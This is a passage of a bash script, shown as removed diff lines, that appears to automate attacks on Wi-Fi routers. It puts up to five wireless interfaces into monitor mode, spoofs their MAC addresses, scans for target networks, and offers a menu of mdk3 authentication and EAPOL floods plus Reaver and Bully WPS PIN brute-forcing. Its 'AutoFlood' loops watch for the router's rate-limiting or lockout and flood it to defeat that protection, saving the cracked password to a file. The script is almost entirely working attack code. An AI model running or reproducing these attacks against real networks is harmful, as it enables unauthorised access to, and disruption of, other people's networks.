-sudo ifconfig $WIFI_MONITOR3 up -echo "Monitor Mode Enabled" -} - -enable_mon_mode_4() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR4" -sudo ifconfig $WIFI_MONITOR4 downa -sleep 1 -sudo iwconfig $WIFI_MONITOR4 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR4 up -echo "Monitor Mode Enabled" -} - -enable_mon_mode_5() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR5" -sudo ifconfig $WIFI_MONITOR5 down -sleep 1 -sudo iwconfig $WIFI_MONITOR5 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR5 up -echo "Monitor Mode Enabled" -} - -####End of Functions for Monitor Mode#### - -#### Functions for MAC CHANGER #### - -mac_change_1() -{ -echo "Setting the MAC Address on $WIFI_MONITOR" -sudo ifconfig $WIFI_MONITOR down -sleep 3 -macchanger $WIFI_MONITOR -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR up -echo "MAC Changed" -} - -mac_change_2() -{ -echo "Setting the MAC Address on $WIFI_MONITOR2" -sudo ifconfig $WIFI_MONITOR2 down -sleep 3 -macchanger $WIFI_MONITOR2 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR2 up -echo "MAC Changed" -} - -mac_change_3() -{ -echo "Setting the MAC Address on $WIFI_MONITOR3" -sudo ifconfig $WIFI_MONITOR3 down -sleep 3 -macchanger $WIFI_MONITOR3 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR3 up -echo "MAC Changed" -} - -mac_change_4() -{ -echo "Setting the MAC Address on $WIFI_MONITOR4" -sudo ifconfig $WIFI_MONITOR4 down -sleep 3 -macchanger $WIFI_MONITOR4 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR4 up -echo "MAC Changed" -} - -mac_change_5() -{ -echo "Setting the MAC Address on $WIFI_MONITOR5" -sudo ifconfig $WIFI_MONITOR5 down -sleep 3 -macchanger $WIFI_MONITOR5 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR5 up -echo "MAC Changed" -} - -####End of Functions for MAC CHANGER #### - - -####Target Scanner#### - -scan_for_targets() -{ - -sudo ifconfig $WIFI_MONITOR down -sudo iwconfig $WIFI_MONITOR mode managed -sudo ifconfig $WIFI_MONITOR up - -eval $(sudo iwlist $WIFI_MONITOR scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: /BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') - -conditional_clear -mostrarheader - -echo "Select your wlan" -echo "" -echo -e ""$blue"0)"$transparent" Rescan" -echo -e ""$blue"1)"$transparent" $ESSID1" -echo -e ""$blue"2)"$transparent" $ESSID2" -echo -e ""$blue"3)"$transparent" $ESSID3" -echo -e ""$blue"4)"$transparent" $ESSID4" -echo -e ""$blue"5)"$transparent" $ESSID5" -echo -e ""$blue"6)"$transparent" $ESSID6" -echo -e ""$blue"7)"$transparent" $ESSID7" -echo -e ""$blue"8)"$transparent" $ESSID9" -echo -e ""$blue"9)"$transparent" $ESSID10" -echo -e ""$blue"10)"$transparent" $ESSID11" -echo -e ""$blue"11)"$transparent" $ESSID11" -echo -e ""$blue"12)"$transparent" $ESSID12" -echo -e ""$blue"13)"$transparent" $ESSID13" -echo -e ""$blue"14)"$transparent" $ESSID14" -echo -e ""$blue"15)"$transparent" $ESSID15" -echo -e ""$blue"16)"$transparent" $ESSID16" -echo -e ""$blue"17)"$transparent" $ESSID17" -echo -e ""$blue"18)"$transparent" $ESSID18" -echo -e ""$blue"19)"$transparent" $ESSID19" -echo -e ""$blue"20)"$transparent" $ESSID20" -echo -e ""$blue"21)"$transparent"EXIT" -echo -e "" - - -read a -case $a in - - 0) -clear -scan_for_targets -;; - 21) -clear -exitmode -;; - 1) -BSSID=$BSSID1 -ESSID=$ESSID1 -CHANNEL=$CHANNEL1 -;; - 2) -BSSID=$BSSID2 -ESSID=$ESSID2 -CHANNEL=$CHANNEL2 -;; - 3) -BSSID=$BSSID3 -ESSID=$ESSID3 -CHANNEL=$CHANNEL3 -;; - 4) -BSSID=$BSSID4 -ESSID=$ESSID4 -CHANNEL=$CHANNEL4 -;; - 5) -BSSID=$BSSID5 -ESSID=$ESSID5 -CHANNEL=$CHANNEL5 -;; - 6) -BSSID=$BSSID6 -ESSID=$ESSID6 -CHANNEL=$CHANNEL6 -;; - 7) -BSSID=$BSSID7 -ESSID=$ESSID7 -CHANNEL=$CHANNEL7 -;; - 8) -BSSID=$BSSID8 -ESSID=$ESSID8 -CHANNEL=$CHANNEL8 -;; - 9) -BSSID=$BSSID9 -ESSID=$ESSID9 -CHANNEL=$CHANNEL9 -;; - 10) -BSSID=$BSSID10 -ESSID=$ESSID10 -CHANNEL=$CHANNEL10 -;; - 11) -BSSID=$BSSID11 -ESSID=$ESSID11 -CHANNEL=$CHANNEL11 -;; - 12) -BSSID=$BSSID12 -ESSID=$ESSID12 -CHANNEL=$CHANNEL12 -;; - 13) -BSSID=$BSSID13 -ESSID=$ESSID13 -CHANNEL=$CHANNEL13 -;; - 14) -BSSID=$BSSID14 -ESSID=$ESSID14 -CHANNEL=$CHANNEL14 -;; - 15) -BSSID=$BSSID15 -ESSID=$ESSID15 -CHANNEL=$CHANNEL15 -;; - 16) -BSSID=$BSSID16 -ESSID=$ESSID16 -CHANNEL=$CHANNEL16 -;; - 17) -BSSID=$BSSID17 -ESSID=$ESSID17 -CHANNEL=$CHANNEL17 -;; - 18) -BSSID=$BSSID18 -ESSID=$ESSID18 -CHANNEL=$CHANNEL18 -;; - 19) -BSSID=$BSSID19 -ESSID=$ESSID19 -CHANNEL=$CHANNEL19 -;; - 20) -BSSID=$BSSID20 -ESSID=$ESSID20 -CHANNEL=$CHANNEL20 -;; - *) -Invalid Option -;; -esac - -} - -####End of Target Scanner#### - -################################## Functions For MDK3 ######################################## - -run_mdk3_ASOC1() -{ - xterm -e "timeout 60 mdk3 WIFI_MONITOR a -a $BSSID -m" -} - -run_mdk3_EAPOL1() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250" -} - -run_mdk3_ASOC2() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m" -} - -run_mdk3_EAPOL2() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250" -} - -run_mdk3_ASOC3() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m" -} - -run_mdk3_EAPOL3() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250" -} - -run_mdk3_ASOC4() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m" -} - -run_mdk3_EAPOL4() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250" -} - -run_mdk3_ASOC5() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m" -} - -run_mdk3_EAPOL5() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250" -} - -##################################End Of Functions For MDK3 ######################################## - -conditional_clear -mostrarheader - -echo "§How many wlan WIFI_MONITORs§" -echo " " -echo -e ""$blue"1)"$transparent" 1 WIFI_MONITOR" -echo -e ""$blue"2)"$transparent" 2 WIFI_MONITOR" -echo -e ""$blue"3)"$transparent" 3 WIFI_MONITOR" -echo -e ""$blue"4)"$transparent" Back" -echo " " -echo -n " #> " - -read a -case $a in - 1) -clear -echo -read -p " - What is the name of your Wlan WIFI_MONITOR (Ex:wlan0) - ": WIFI_MONITOR; - -clear - -scan_for_targets - - -clear - -enable_mon_mode_1 - -sleep 1 - -clear - - - -conditional_clear -mostrarheader - -echo "Change MAC Address" -echo " " - echo -e " "$blue"1)"$transparent" yes" - echo -e " "$blue"2)"$transparent" no" - echo " " - echo -n " #> " - -read c -case $c in - 1) -clear - -mac_change_1 - -sleep 1 - -clear -;; - 2) -clear -;; - *)Invalid Option -;; -esac - - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" - -read d -case $d in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC1 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL1 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC1 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL1 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - 2) -clear - -conditional_clear -mostrarheader -echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; -clear - -scan_for_targets - -clear - -enable_mon_mode_1 - -enable_mon_mode_2 - -clear -conditional_clear -mostrarheader -echo "Second WIFI_MONITOR -1)Yes -2)No" - -read f -case $f in - 1) -clear - -mac_change_1 - -mac_change_2 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - - - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read g -case $g in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC2 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL2 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC2 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL2 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac - -} - -menu -conditional_clear -mostrarheader -;; - 3) -clear -echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; -clear -echo -read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; -clear - -scan_for_targets - -clear - - -enable_mon_mode_1 - -enable_mon_mode_2 - -enable_mon_mode_3 - - - - -clear -conditional_clear -mostrarheader -echo "************** - Would you like to set the 3 WIFI_MONITORs to an Identical MAC Address? - ************** -1)Yes -2)No" - -read i -case $i in - 1) -clear - -mac_change_1 - -mac_change_2 - -mac_change_3 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read j -case $j in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC3 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL3 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC3 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL3 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - 4) -clear -echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; -clear -echo -read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; -clear -echo -read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; -clear - -scan_for_targets - -clear - -enable_mon_mode_1 - -enable_mon_mode_2 - -enable_mon_mode_3 - -enable_mon_mode_4 - - -clear - -echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** -1)Yes -2)No" - -read l -case $l in - 1) -clear - -mac_change_1 - -mac_change_2 - -mac_change_3 - -mac_change_4 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - -clear - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read m -case $m in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC4 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL4 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC4 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL4 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - 5) -clear -echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; -clear -echo -read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; -clear -echo -read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; -clear -echo -read -p " - What is the name of your 5th Wlan WIFI_MONITOR (Ex:Wlan4) - ": WIFI_MONITOR5; -clear - -scan_for_targets - -clear - -enable_mon_mode_1 - -enable_mon_mode_2 - -enable_mon_mode_3 - -enable_mon_mode_4 - -enable_mon_mode_5 - -clear - -echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** -1)Yes -2)No" - -read o -case $o in - 1) -clear - -mac_change_1 - -mac_change_2 - -mac_change_3 - -mac_change_4 - -mac_change_5 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read p -case $p in - 0) -clear -scan_for_targets -enable_mon_mode_1 